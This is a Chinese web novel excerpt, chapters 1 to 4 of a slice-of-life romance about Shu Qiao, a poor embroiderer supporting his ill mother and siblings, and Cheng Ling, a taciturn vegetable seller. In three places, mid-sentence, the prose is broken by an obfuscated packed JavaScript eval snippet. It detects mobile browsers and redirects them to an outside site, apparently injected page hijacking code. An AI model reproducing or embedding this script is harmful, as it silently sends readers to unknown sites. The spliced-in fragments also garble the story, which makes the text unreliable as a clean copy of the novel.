《夫夫摆摊日常》 1. 第 1 章 日头毒得能烤化青石板，热气一股股地从脚底往上窜。 今年夏天来得又早又凶，街边的饮子摊被围得水泄不通，生意格外红火。 “酸梅汤、绿豆水，今日新添了冰镇冷元子！”摊主的吆喝声又亮又脆，手里递碗的动作也没停，“大娘，您的汤，慢些喝！” 舒乔挎着篮子停下脚，目光越过攒动的人头，落在那丝丝缕缕冒着的凉气上，仿佛那点子凉意也能隔着距离沾到自己身上。 不少人接过碗就迫不及待地仰头灌下，一口气喝完，发出一声满足的喟叹，脸上尽是畅快。 舒乔瞧着那碗里晶莹的冷元子，心想不知是什么滋味，听得“七文一碗”时，睫毛轻轻颤了一下，便默默收回视线，侧身紧贴着墙根那片窄窄的阴影，加快了步子。直到看见前头布铺的牌子，才一低头钻了进去。 “乔哥儿可算来了！”王掌柜一见是他，立刻放下算盘站起身，摇着葵扇笑道，“上回你绣的那几条帕子卖得俏，好几个主顾都打听呢。往常你三五日便来一回，这回隔了这些天，我正琢磨着要不要使人去你家瞧瞧。” “劳掌柜的挂心了，这几日家里事多，耽搁了些。”舒乔忙从篮子里取出叠得整齐的帕子，在柜面上一一铺开。 六方帕子，绣着玉兰、并蒂莲，虽是寻常棉布，但针脚匀净细密，丝线过渡自然，那花瓣儿仿佛真带着露水，活灵活现。 王掌柜凑近了细看，尤其是那方并蒂莲，瓣尖一抹若有若无的浅粉，他不由用扇骨轻敲柜台，赞道：“难怪刘娘子肯多加两文！如今这般雅致不俗的花样卖得好，你往后多绣些，我按市价再给你加一文。” 舒乔一听，眼睛倏地一亮，忙应了声“好”。暑气蒸得他两颊泛红，额角也渗出细汗。他心下欢喜，想着家中绣线不多，又低头细细挑了些需用的颜色。 一条帕子二十文，六条便是一百二十文，扣除新买的绣线，实得一百一十四文。 二十文听着不少，可除去本钱，再算上耗费的眼力和工夫，也就勉强贴补家用。好在王掌柜为人爽利，给的价钱公道，结钱也利落痛快，绝不会拿话搪塞人。 他将铜钱仔细揣好，转身又去了粮铺，称了些玉米面。 晚上就用新面蒸窝头，昨儿剩的野菜正好做汤。想到妹妹小圆前几日嘟囔着想吃鸡蛋，他念着橱柜里仅存的那几枚，心里一时有些踌躇。 篮子沉甸甸的，他双手抱着，没走多远，腹前的衣衫便被汗水洇湿了一片。他抬手抹去淌到下颌的汗珠，望见前面熟悉的巷口，不由得加快了脚步。 南巷靠近城门，几十户人家屋檐挨着屋檐，东家炒菜西家闻香，为着鸡毛蒜皮拌嘴是常事，转头又能端着碗串门子。 此时日头正毒，巷口树荫下聚着些纳凉闲扯的人。张家媳妇尖利的数落声隔老远就能听见，舒乔无心停留，抱着篮子快步绕过。 进入巷子，右边第三户，那木门已有些斑驳。他推门进去，顺势用脚轻轻挡住想往外溜达的母鸡，反身闩好了门。 “乔哥儿，回来了？”屋里传来秦氏带着些许虚弱的声音。 “哎，回来了。”舒乔应着，将篮子拎进灶屋，“娘，小圆和小临呢？” “刚跑出去了，就在巷子后头，没走远。”秦氏坐在炕沿，话末忍不住弯下腰，掩着嘴咳了好一阵。 舒乔关好橱柜，闻声疾步过去，倒了碗水递到秦氏手边，另一只手轻轻为她拍着背，声音里带着担忧道：“娘，是不是又难受得紧了？” “好了好了，老毛病了。”秦氏接过水慢慢喝了两口，摆摆手，将碗搁下。 病气笼罩着她布满细纹的脸，面色苍白，唇色也淡，唯有嘴角和眼尾那温和的笑意，依旧如故。 当家的去得早，她一个人拉扯几个孩子，日日为柴米油盐算计，愁绪从未断过。可看着孩子们一点点长大，再多的苦累，她也觉得值了。 大夫叮嘱需静养，舒乔便搬了个小凳坐在炕边，拿起白日未完工的帕子，指尖捏着细针，不紧不慢地穿梭。他嘴里陪娘说着闲话，声音轻缓。秦氏静静听着，目光柔和地落在他专注的侧脸上。 不觉日头偏西，已近酉时，酷热稍减，但闷意未消。 舒乔放下绣绷，活动了一下有些发酸的脖颈和肩膀，站起身道：“娘，我去灶房准备晚饭。” “去吧，时候也不早了。”秦氏说着，顺手拿起他放下的帕子端详着。 家里三间瓦房并排，窄长的灶房，还拿木板另隔了块地方，平日洗漱冲凉就在此。院子里搭了个草棚，堆着杂物，也宿着家里唯一的那只母鸡。 年初买的三只鸡雏，一只没抗住冻死了，另一只因门没关严跑丢了。为那只丢的鸡，全家出动找了许久，舒乔现在想起，心里仍会漫上淡淡的懊恼——三文钱，就这么没了。 他推开灶房那扇略显沉滞的橱柜门，心里估算着时辰，取出碗舀面。高粱面放得少些，掺在玉米面里，吃起来不至于太糙手。 他一边缓缓加入温水，一边用筷子搅成絮状，随即上手，用力将面团揉捏均匀，手指灵巧地一转一捏，便塑出一个底部带窝的窝头来。不多时，案板上就站好了好几个黄澄澄的窝头。 正要生火，眼角瞥见那母鸡又慢悠悠踱了进来，他忙扬起手作势驱赶喊：“出去！” 家里这鸡总关不住，一围它就想法子飞出来，有次竟落到了邻家的墙头上。 舒乔拿它没法，只得由它在院里闲逛，平时就多拿几次扫帚。好在它下蛋勤勉，即便天气这般酷热，鸡窝里每日总有一枚温热的蛋等着，也算对得起小圆小临日日出城为它打草寻虫的辛苦。 他搓掉手上的面粉，目光落在橱柜顶那只小筐里，里面躺着这几日攒下的几枚鸡蛋。 自娘病后，家里进项全靠他绣帕子，积蓄微薄，加上每月固定的药钱，荤腥已是难得。他犹豫片刻，还是取了两枚下来，打算做个水蒸蛋，再煮了剩下的野菜，晚饭也就齐了。 “乔哥儿，你来一下。”秦氏的声音从屋里传来。 舒乔以为秦氏要取什么东西，忙应道：“来了！” 秦氏见他进来便说：“你舟阿么方才来过，让你得空了去他家一趟，也没说是什么事。瞧我这记性，现在才想起来，灶房的活儿不急，你先去瞧瞧。” “哎，好。”舒乔应下，先去舀水洗净了手，又将灶房里做好的窝头用竹罩盖好，这才出门。 舟阿么家隔了两户，与舒乔家几乎是前后脚在此落脚。两家都是和善人家，平日往来勤。可惜舟阿么的汉子去得早，也没留下一儿半女，如今家中就他和两位老人相依。 见院门虚掩着，舒乔扬声唤了句“舟阿么”，便推门而入。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164049|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“乔哥儿来啦？正好，我刚煎的油饼出锅，快进来，趁热尝一个！”舟阿么拿着筷子站在灶房门口，笑呵呵地朝他招手。 舒乔也不客气，反手带上门，跟着走了过去。 “慢点，烫着呢，”舟阿么夹起一个金黄酥脆的油饼递过来，看着他接过，眯眼笑道，“味儿咋样？” 饼一入口，滚烫的油香和面香立刻充盈口腔，舒乔被烫得直抽气，却忍不住连连点头，含糊道：“好吃！” 这饼用白面掺了玉米面，擀薄后裹上切碎的腊肉丁和韭菜，小火煎得外脆里嫩，油滋滋的，让人吃了就停不下嘴。他一边吹着气，一边又大大咬了一口，腮帮子塞得鼓鼓的。 舟阿么解下襜衣挂好，说道：“今早老二送了新粮来，你方大娘馋这口了，我就多做些。待会儿给你拿几个回去，都尝尝。” 舒乔知舟阿么的性子，客气反倒让他不快，便乖巧点头，心里想着改日再过来多帮衬些活儿。他看了看安静的院子，问：“方大娘和方大爷不在家？” “你方大娘去菜行那边转悠了，他爹也跟着去了。”舟阿么边说边拿了个盘子，麻利地夹了好几个油饼放进去。 舟阿么家院子比舒乔家宽敞些，鸡也养了十几只。县城不比乡下，喂鸡的食料都得算计。 靠近城门还能去打些野草、捉点虫子，若懒得走远，也可像方大娘这样，赶在菜行收摊时，去捡些人家不要的烂菜叶子回来。 “乔哥儿，你家那只鸡，这大热天的天天出去打草也辛苦，不如也去菜行尾摊看看，捡些菜叶回来喂它。” 舟阿么说着，目光落在他清瘦白净的脸蛋上，顿了顿又道，“你要是面皮薄，不好意思，等你方大娘去的时候，我让她叫上你一起。她那张嘴啊，利索着呢，旁人占不到便宜。” 舒乔眨了眨眼，想到弟妹每次满头大汗回来的样子，便点头道：“行，那到时我同方大娘一起。” “这就对喽！等她回来我就跟她说。”舟阿么脸上绽开笑意，“还有啊，我盘算着等入冬，就让家里母鸡抱窝，到时候孵出小鸡崽，你也捉几只回去养着。” 舟阿么每回去舒乔家，看见那只孤零零的母鸡，总觉得该给它寻个伴，没准这样它就愿意待在棚里了。 冬日尚远，舒乔没多说什么，只安静地接过舟阿么递来的，盛满油饼的盘子。 “那我先回去了，舟阿么。” “回吧回吧，饼趁热吃，凉了味道就差啦。”舟阿么叮嘱道。 看着舒乔掩好门离开，这才转身去找砧板和刀。 等会儿老两口拾了菜回来，他还得赶紧剁了喂鸡呢。圈里那十几只鸡，早已等得不耐烦，正“咯咯咯”地叫个不停。 舒乔端着热乎的油饼往家走，心里还琢磨着舟阿么说的菜行捡菜叶的事。 家里开春养的鸡，先前小圆小临借着给鸡打草的机会，天天往外边跑，他也就随他们去了。 但如今天热的厉害，还是少在日头下跑的好，万一中暑可不是开玩笑的。 若真能捡些好的回来，鸡能吃得更饱不说，也免得小临小圆再天天出城了。 听舟阿么说运气好时，也能碰上些还算水灵的菜，没准还能省下几文菜钱。 他心里盘算着，推开了院门，对上呆站在院子里的母鸡，想了想还是掐了一小块饼皮扔给它。 2. 第 2 章 舒乔心里惦记着去菜行的事，翌日临近酉时，便搬了张凳子坐在院里。他手里虽拿着绣绷，针线却动得慢，不时留意着门外的动静。 一听见方大娘那爽利的嗓音响起，他立刻扬声应了，利落地收起针线，转身进屋放好，又快步钻进灶房拎起墙角的空篮子，跟秦氏打了声招呼便小跑着出了门。 方大娘正和人站在门外闲聊，见舒乔出来，凑到那婶子耳边低语了几句，这才风风火火地朝舒乔走来。 “方大娘。”舒乔扬起一个明快的笑容。 “诶乔哥儿，咱们快走！”方大娘一把拉住他的胳膊就往前赶，“去晚了，好的菜帮子都让别人捡了去，咱们家的鸡可就没口福了。” 舒乔被她带着，不由得也加快了脚步，两人几乎是小跑着穿过了巷子。 菜行坐落于县城东南角，与南巷口隔着两条主街。若是贪快，从后街那条窄巷穿过去，约莫一炷香的功夫便能到。 每日天蒙蒙亮，城郊和邻近村子的菜农便挑着满筐沾露水的鲜菜赶来这里。 辰时到巳时之间，最为喧闹，讨价还价声、吆喝叫卖声不绝于耳。待到酉时，主街店铺纷纷上门板，菜行也渐渐冷清，摊主开始收拾所剩无几的残菜，这时，便是舒乔他们这些来捡菜叶的人出现的时辰。 舒乔和方大娘紧赶慢赶，踏入菜行时，大多摊位已空空如也。方大娘眼尖，瞥见角落还有个摊位旁堆着些卖剩的菜，拉着舒乔便凑了过去。 那摊位后站着个身量颇高的年轻汉子，穿着一件洗得泛白的短褂，露出的手臂线条结实流畅，正低头用草绳利索地捆着最后几把青菜。听见脚步声，他手上动作未停，只抬眼淡淡扫了来人一眼，目光平静无波。 方大娘脸上堆起笑，上前问道：“这位小哥，这些剩菜还要不？不要的话，我们捡回去喂鸡了。” 舒乔安静地站在方大娘身侧，悄悄打量对方。这汉子肤色是常年日晒形成的小麦色，眉眼生得英挺，下颌的线条绷得有些紧，瞧着不像是个整日守着菜摊，会与人说笑寒暄的。 程凌瞥了眼筐里那些发蔫的青菜和歪瓜裂枣，将最后一根草绳绕好，声音低沉地应道：“拿去吧。” 方大娘一听，眉开眼笑，连忙扯了扯舒乔的袖子道：“快，乔哥儿，赶紧的。” 舒乔应声蹲下，手脚麻利地将还能喂鸡的菜叶和菜帮子往篮子里拣。程凌就站在一旁，默不作声地看着，目光偶尔掠过舒乔低垂的、专注的侧脸。 不多时，篮子便装得满满当当。舒乔站起身，拍了拍沾在衣角的菜屑，轻声道：“大娘，够了。” 方大娘点点头，又朝那汉子笑道：“多谢小哥了！” 程凌只微微颔首，算是回应。 两人转身刚要走，却听身后传来那汉子的声音道：“等等。”那嗓音带着些微沙哑，却透着一股沉稳的力量。 舒乔和方大娘同时停下脚步，回过头。 程凌从筐底拿起一把品相还算周正的苋菜，递了过来道：“这个，还能吃。” 舒乔看着那把叶片虽有些失水却依旧鲜嫩的苋菜，一时怔住，没有立刻去接。 方大娘反应快些，哎哟一声，连忙伸手接过，塞进舒乔的篮子里，连声道谢，“这怎么好意思，小哥你太客气了！谢谢，谢谢啊！” 程凌没再说什么，转身继续收拾自己的空筐。 舒乔跟着方大娘走出几步，忍不住又回头望了一眼。日头斜斜挂在檐角，将那汉子忙碌的身影拉得长长的，在青石板上轻轻晃动。 “今儿运气真不赖！”方大娘掂了掂舒乔臂弯里的篮子，忽然撇撇嘴，抱怨起来，“哪像昨天，跟你方大爷那个慢郎中一块儿，磨蹭到这时候才来，就捡了几根被虫啃得不成样子的黄瓜尾子回来，真气人！” 舒乔闻言，忍不住抿嘴笑起来。方大爷性子温吞，是巷子里出了名的，与急性子的方大娘凑在一处，平添了许多趣谈。 方大娘见他笑了，目光又落到那苋菜上，伸手拈起一片嫩叶，赞道：“别说，刚才那小哥瞧着闷葫芦似的，心肠倒不坏。你瞧这苋菜多水灵，回去拿蒜末一炒，香得很！” 舒乔点头，心里琢磨着，下回若来买菜，定要光顾他的摊位，算是还了这份人情。 走到巷口时，方大娘又嘱咐道：“乔哥儿，明儿我得去东市扯点布，你要是还来菜市，记得赶早。” “哎，记下了，大娘。”舒乔轻快应道。 两人在门口分开，舒乔拎着沉甸甸的篮子走进院子，扬声道：“我回来了！” “哥哥回来啦！”屋里传来舒小圆清脆的应答，随即一阵脚步声，小姑娘顶着一晃一晃的双丫髻从屋里跑了出来，脸上尽是期待。 “哇，这么多菜！”舒小圆伸手来接篮子，被那分量坠得胳膊一沉，赶紧用双手抱在怀里。 “嗯，够鸡吃两天的了。”舒乔说着，目光在院里扫了一圈，没见着弟弟的身影，眉头扬了扬，“这两天，你们俩就不用特地跑出去打草了。” “啊——”舒小圆方才还亮晶晶的眼睛瞬间黯淡下去，小嘴也撅了起来，“我还跟小满说好了，明天要去渠边抓蜻蜓呢……” 舒乔没理会妹妹装出来的可怜相。弟妹虽不算幼童，但玩心重，一出门就常忘了时辰。想起昨晚两人顶着通红的脸蛋、满头大汗跑回来的模样，他心肠便硬了几分，打定主意要拘着他们几日。 舒小圆见哥哥不为所动，只好耷拉着脑袋，认命地提起菜篮，去屋里拿了菜刀，蹲在鸡窝旁，“咚咚咚”地剁起菜来。 一旁的母鸡当即扑着翅膀围上前，咕咕叫了几声，啄起了碎菜叶子吃起来。 听着院角传来的剁菜声，舒乔在灶房里仔细掐去苋菜的老根和萎叶，嫩红的菜梗攒了满满一大碗，足够炒上一盘。 晚饭依旧是简单的搭配——窝窝头，一盘清炒苋菜，一碟爽脆的腌黄瓜。 他擦了把额上的汗，探头望了望窗外渐暗的天色，扬声道：“小圆，看见你小临哥没？” 舒小圆正踮着脚收竹竿上晾干的衣裳，闻言大声回道：“没呢！” 舒乔系着襜衣站在灶房门口，望着院门方向蹙眉道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了，都少说两句，好好吃饭。”秦氏笑着用筷子虚点了点盘子，“菜都快凉了。” 舒小圆安静了片刻，忽然又指向舒小临道：“今晚该你洗碗！” “知道啦。”舒小临顺口应下，拿着窝窝头将盘子里剩余的苋菜汤汁擦得干干净净，咬了一口才猛地反应过来，“诶？不对！昨天就是我洗的！” “你记错了，昨天明明是我洗！”舒小圆梗着脖子，毫不示弱。 小小的院落里，顿时又充满了兄妹俩叽叽喳喳的拌嘴声，直到碗筷都收拾进了灶房，才渐渐安静下来。 而此时，菜行那边的程凌也早已收拾妥当，挑着空担子往家赶。路上遇见同村的李大叔，对方笑着招呼道：“程凌，今儿卖得咋样？” “还行，差不多了。”程凌应道，脚步并未放缓。 李大叔看了眼他空荡荡的箩筐，又道：“看你天天来，够勤快的。对了，我家地里的豆子快熟了，过几日要人手帮忙收，你得空不？” 3. 第 3 章 程凌本就打算这几天在家忙地里的活，李大叔家的豆子不算多，也不费多少时间。 程凌略一思忖，点头道：“得空，到时我去。” 两人边说边走着，夕阳将他们的影子在路上拉得老长，一路向着村落的方向延伸而去。 日头西沉，天光敛尽，程凌踏着暮色回到村里时，家家户户的窗棂里已透出暖黄的灯光。 村子里静悄悄的，只余几声零落的犬吠和碗筷碰撞的细响，大多人家已用过晚饭，正拾掇着准备洗漱歇下。 程母许氏听见动静，立刻从堂屋里探出身来，关切道：“可算回来了！天都黑透了，我正跟你爹商量着要不要去道上迎迎你呢。” 她快步走到儿子跟前，见他额发被汗水濡湿，身上带着一股热气，不由得伸手替他拍了拍衣角的灰，连声道：“锅里温着饭菜呢，热水也烧好了，儿子你是想先吃饭，还是先擦洗松快松快？” 程凌卸下肩头的担子，活动了一下酸胀的臂膀，嗓音因疲惫而显得有些沙哑道：“先歇口气，喝点水再说。” “对对，快进屋坐着。”许氏忙不迭地应着，顺手接过他担子上挂着的空水囊，转身就往堂屋走，“我今儿特意泡了大麦茶，这会儿喝正好，解乏。” 程凌跟着进屋，也没寻碗，径直拿起桌上的水壶，仰头便吨吨灌。他喝得有些急，茶水顺着下颌滑落，洇湿了前襟也顾不上。 后院的程父程大江听见动静，也摇着葵扇踱了进来。 “回来啦。”他站到儿子身旁，手中的扇子不疾不徐地送着凉风，脸上带着宽和的笑意。 “慢点喝，当心呛着，一会儿该吃不下饭了。”许氏端着一个海碗从灶屋出来，碗里是堆得满满的面条，上面卧着个油汪汪的荷包蛋，铺着几片腊肉和翠绿的青菜。 她把碗往程凌面前一放，又轻轻推了推程大江，“你也坐下歇着，别挡着风。” 程凌一口气喝了大半茶水解渴，这才长长舒了口气，仿佛将一身的疲惫都随着那口气吐了出去。他端起碗，拿起筷子，埋头大口吃起来。 许氏又转身端来一碟馒头放在桌上，在旁边坐下，目光扫过院中空筐，见里头只剩下几根零星的菜叶，嘴角便忍不住向上弯了弯。 程凌午间只啃了两个干饼子，此刻饿得狠了，面条吸得哧溜作响，不多时碗就见了底。他又拿起一个馒头，就着碗里剩下的汤汁，大口吃着。 天色彻底暗沉下来，许氏起身点亮了桌上的油灯，将未做完的针线活计归拢到竹篮里。 程凌吃完，自觉收拾碗筷要去灶房清洗，许氏在他身后叮嘱道：“锅里有热水，仔细兑好了再洗，一身汗可不敢冲凉水，仔细激着！” “知道了，娘。”程凌在灶房那头应了一声。 许氏收好针线，见程父还摇着扇子坐在原处，便道：“还不回屋？让儿子也早点歇着吧，有什么话明儿再说。” 程大江还想分辨两句，许氏已端起油灯，不由分说地道：“回吧回吧，儿子累了一天了。” 程大江只好起身跟着她回了屋。 乡间夜晚静谧，月光如水般倾泻而下，将小院照得亮堂堂的。 程凌懒得再点灯，就着明澈的月光找了身干净衣裳，打水匆匆擦洗了一番，便回了自己屋子。 他躺下合眼，刚要沉入梦乡，忽地想起什么，又坐起身来，从袋里摸出那个沉甸甸的布包。就着窗透进的月光，他将里面的铜钱一枚枚倒在床上，仔细清点起来。 这两日因着家里要用牛耕地，他挑去县城的菜比往日少些，即便如此，今日也卖了一百一十五文。他将铜钱用麻绳仔细串好，放进床头的木匣里，这才重新躺下，心里盘算着接下来的活计。 地里要播玉米，还得抽空去帮李大叔收豆子，这一忙恐怕就得两三天。等忙完这阵，就能赶着牛车多装些菜，拉到县城去卖。 意识朦胧间，白天在菜行遇见的那位哥儿清秀的面容，毫无预兆地浮现在眼前。程凌倏地睁开了眼，翻了个身，试图将那画面驱散，却发现那带着浅笑的模样反而愈发清晰了。 没等他细想出缘由，沉重的困意来势汹汹，很快便睡了过去。 翌日，程凌在窗外雀鸟的啁啾声中醒来，天边才刚泛起鱼肚白。 他坐在床上，怔忡了片刻，昨夜梦里，那位哥儿似乎笑着来到他的摊前买菜，可没等看清，梦便醒了。 他用力搓了把脸，甩开那点莫名的思绪，利落地套上衣裳起身漱口。 今日田里的活计还多着呢，容不得他分神。 —— 夏日天光早，巷子里挑水扁担的吱呀声、邻里交谈声，交织成一片充满生机的喧闹景象。 舒乔是家里起得最早的，趁着晨间尚有几分凉意，在灶屋利落地热好了馒头和稀饭。 听见院里传来脚步声，他以为是娘起了，出门却见是弟弟舒小临，不禁有些意外。 这半大小子正长身体，平日里不睡到日上三竿难得起身，今日这般早，倒属罕见了。 舒乔看着他，心下琢磨这小子是不是又憋着劲儿想溜出去。 “哥，早！”舒小临打水潦草地抹了把脸，挂好面巾，一脸精神地凑到灶屋门口，“今早吃啥？” “馒头，稀饭。”舒乔洗净手，甩了甩水珠，瞥见墙角水缸快要见底，便吩咐道，“吃完跟我去挑水。” 巷子里有几口公用的水井，最近的就在巷口。舒乔力气不算大，每次挑水只敢装半桶，有舒小临搭手，不仅能多挑些，速度也快上不少。 舒小临嘴里塞着馒头，含混不清地连连答应，“成，没问题！” 舒乔没什么胃口，只就着稀饭匆匆吃了个馒头便饱了。舒小临却已风卷残云般吃完，拎起水桶就往外走。舒乔盖好留给娘和妹妹的饭食，也扛起扁担跟了出去。 井边已有三两人在打水，舒小临手脚麻利地打满两桶。兄弟俩合用一根扁担，一人一头，晃晃悠悠地往家抬。如此来回四趟，才将院里一大一小两个水缸装满。 舒乔拿起皂角，坐在小凳上开始搓洗衣裳。见舒小临手里捏着菜叶，有一搭没一搭地喂鸡，眼神却总往门口瞟，便知他心思早飞了。他心下无奈，终究没再多约束，只淡淡叮嘱了一句，“别跑太远，记得早点回家。” 舒小临立即嘻嘻一笑，将手里最后一把菜叶丢给鸡去啄，又手脚勤快地帮哥哥把洗衣服的木盆舀满水。 “小临！小临——”门外传来压着嗓子的呼唤。舒小临眼睛一亮，拍了拍舒乔的肩，“哥，我走啦！保证早回！”话音未落，人已像泥鳅般溜出了门，反手带上了院门。 院子里霎时安静下来，只剩下舒乔搓洗衣裳的“唰唰”声和拍打声。 日头渐渐升高，晨间那点可怜的凉气被蒸腾得一干二净，灼热的一天又拉开了序幕。 刚把洗净的衣裳晾上竹竿，秦氏和舒小圆也相继醒了。三人坐在炕上，一边做着绣活，一边闲话家常。 “前儿听舟阿么提起，他家今日要晒菜干。”舒乔将手中快绣完的帕子收了最后一针，说道，“我过去搭把手，切菜洗菜的活儿都能帮上忙。” 秦氏点头称是，“该当的。舟阿么待咱们亲厚，常来常往的，能帮就帮一把。” 舒小圆早就在屋里坐不住了，一听这话立刻跳下炕穿鞋，“我也去！” “走吧。”舒乔将针线仔细收进竹篮，领着妹妹便往舟阿么家去。 两人到时，舟阿么正将一筐黄瓜往大木盆里挪，见他们来了也不客套，直接分派起活计。 “小圆年纪小，搬个板凳跟你方大娘坐荫凉地儿洗菜就成。乔哥儿手脚利落，跟我一块儿切菜，咱们动作快些，赶在中午饭前弄完。”说着，他挽起袖子，又转身去灶屋取来两把刀。 院角那边，方大爷正对着晒菜干的架子敲敲打打，方大娘在一旁看得直皱眉，忍不住扬声道：“行啦行啦！瞧着挺牢靠的，你再折腾，好好的架子真要被你弄散架了！” “哪就那么不经事？不拾掇拾掇才容易坏。”方大爷依旧是不紧不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164051|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢的语调，手里的锤子又“邦邦”敲了两下。 那架子应声晃了晃，险些歪倒。 方大娘哎哟两声，连连摆手，“快别添乱了，进屋把簸箕找出来刷洗干净，比什么都强！”她一边说着，一边没好气地用力搓着手里的黄瓜。 舒乔与舒小圆对视一眼，都悄悄抿嘴笑了。 舟阿么将刀递给舒乔，见众人都忙活开了，脸上笑呵呵的道：“晌午都留这儿吃饭，我蒸包子，韭菜鸡蛋馅和素馅的都有，管够！绝不叫你们白忙活。” 舒小圆立刻捧场，声音甜甜的道：“舟阿么做的包子最香了！” “那是！”舟阿么手下切着菜，嘴上也闲不住，顺口就聊起了街坊间的事儿，“跟你们说，这做包子也是个手艺活。拐角那家的婆母，前儿还跟我抱怨，说她家新媳妇做的包子馅少不说，面皮硬邦邦，吃起来都磕牙，为这个还吵起来了……” 方大娘在一旁搭腔，两人你一言我一语，将左邻右舍的琐碎趣事说得活灵活现。 舒乔和舒小圆听得入神，手上的活却是没落下 在舟阿么家忙活到午时已过，临近未时才总算歇下。不过热腾腾、皮薄馅足的大包子一出笼，所有的辛苦都觉得值了，满院都是诱人的面香和菜香。 舟阿么记挂着舒乔家里人，又拿碗夹了好几个包子塞给他，“带回去给你娘和小临尝尝，也省得你们再开火。” 舒乔和舒小圆回到家时，只有秦氏一人在院里歇着。 “小临哥还没回来？”舒小圆捧着盘子，一边看着秦氏吃，一边探头往屋里张望。 “没呢，准是又玩得忘了时辰。”秦氏吃完一个包子，擦了擦手道。 舒小圆闻言，皱了皱鼻子，“那没办法，只好让小临哥晚上热了吃了。” 舒乔从屋里出来，见妹妹脚底像抹了油似的又想往门口溜，便出声叫住她，“小圆，前儿教你的那种走线，练得怎么样了？把你的绣绷拿来我看看。” 舒小圆的脚步一下子钉在原地，转过身，眨巴着大眼睛，底气不足地含糊道：“大、大概会了吧……” “到底会了没会？”舒乔微微挑眉。 接收到兄长那了然的目光，舒小圆扁了扁嘴，乖乖回屋取来自己绣的那方帕子，垂手站在一旁等着。 舒乔拿起帕子细看，上面的针脚虽略显稚嫩，倒也大致齐整，遂道：“还算有样子。” “那我是不是可以……”舒小圆眼睛一亮，话未说完便被截住。 “不过，火候还差得远。”舒乔指了指旁边的板凳，“坐旁边，我再给你讲讲这几处怎么走针。” 舒小圆刚刚雀跃起来的心情瞬间跌了回去，认命地去搬了板凳，心里却暗自鼓劲——好好学，学会了就能出去玩了！今天把哥哥教的都练熟，明天一定能准我去城外抓蜻蜓！ 她正神游天外，想着和伙伴们在渠边嬉闹的情景，额头上突然被不轻不重地弹了一下。 “嘶——” “专心些，舒小圆。”舒乔收回手，神色淡淡。 “哦，知道啦，哥哥。”舒小圆赶紧收敛心神，专注地看着哥哥的手势和针尖的走向。 秦氏躺在一旁的摇椅上，微阖着眼，听着儿女的动静，手中的蒲扇有一下没一下地摇着，送来些许凉风。 墙角探进来的树枝上，知了不知疲倦地“吱呀”鸣叫，偶有微风拂过，带来草木的清新气息，稍稍驱散了午后的闷热。 三人坐在院里，忙着手上的活计，有一搭没一搭的聊天，太阳西斜舒乔才起身去做饭。 舒小圆终于得以休息，放好针线篮子，哼着小曲去喂鸡。 晚饭过后，暑热渐消，晚风带着一丝凉意拂过舒家小院。 舒乔躺在摇椅上，目光落在正拿狗尾巴草逗弄母鸡的舒小临身上，心里隐隐觉得弟弟这几日有些反常——连续几日早出晚归，行色匆匆，实在不像他平日的做派。 “小临，”舒乔轻声开口，语气里带着几分试探，“这几日都去哪儿玩了？” 4. 第 4 章 舒小临逗鸡的动作猛地一顿，面上却立刻堆起灿烂的笑容，说道：“和石头他们去城外抓知了，哥你不是知道嘛，往年这时候都这样。” 他边说边从口袋里掏出几个零散的铜板，故意在探头张望的舒小圆面前晃了晃道：“瞧，我们还拿去药馆卖了钱，每人分了好几个铜板呢！” 知了确实可以入药，药馆常年收购，城里的半大少年也常借此赚些零花，去年舒小临就曾这般做过。 舒乔看着他满脸得意的模样，暂且按下心头的疑虑，只叮嘱道：“别跑太远，当心中暑。” “放心吧哥，就在城外转转。”舒小临连忙保证，暗自松了口气，以为这关算是过了。 “一、二、三……整整十文钱呢！”舒小圆捧着铜板数了又数，眼睛亮晶晶的。 “好了，还我。”舒小临一把夺回铜板，促狭地笑道，“前儿你不是还跟小满说抓知了没意思吗？”说着又故意将铜板晃得叮当响。 “哼！”舒小圆气鼓鼓地转过身，“我不理你了。” “那正好，你说这些钱我是买糖人，还是梅子糕好呢。”舒小临故意拉长语调，摇了摇脑袋道。 听到最爱的梅子糕，舒小圆猛地转身，跺脚道：“哥哥你看他！” 舒小临哈哈大笑，舒乔眼底也露出笑意，却没有插手这对活宝的斗嘴。直到秦氏在屋里唤人洗漱，院子里才渐渐安静下来。 夜深人静，舒乔点亮油灯，从炕边的木箱里取出钱袋，仔细数出四十文钱。明日该去医馆给娘抓药了，还得顺道买些菜。他将略显空荡的钱袋收回箱中，轻轻合上箱盖。 秦氏服过药后早早歇下，舒小圆挨着她躺下，见哥哥吹熄了油灯，轻声问：“哥哥明日要去菜行吗？” “要去的，家里没菜喂鸡了，菜也不多了。”舒乔在黑暗中翻了个身。 “我和哥哥一起去。”舒小圆小声嘟囔道。 “好，睡吧。” 夜风轻柔，拂去一日炎热，让人得以安眠。 翌日一早，舒乔先去医馆抓了药，转身便往菜行走去。 此时的菜行正是一日中最热闹的时辰。挎着篮子的妇人夫郎穿梭其间，采买的板车上堆满各色时蔬，吆喝声、讨价还价声不绝于耳。 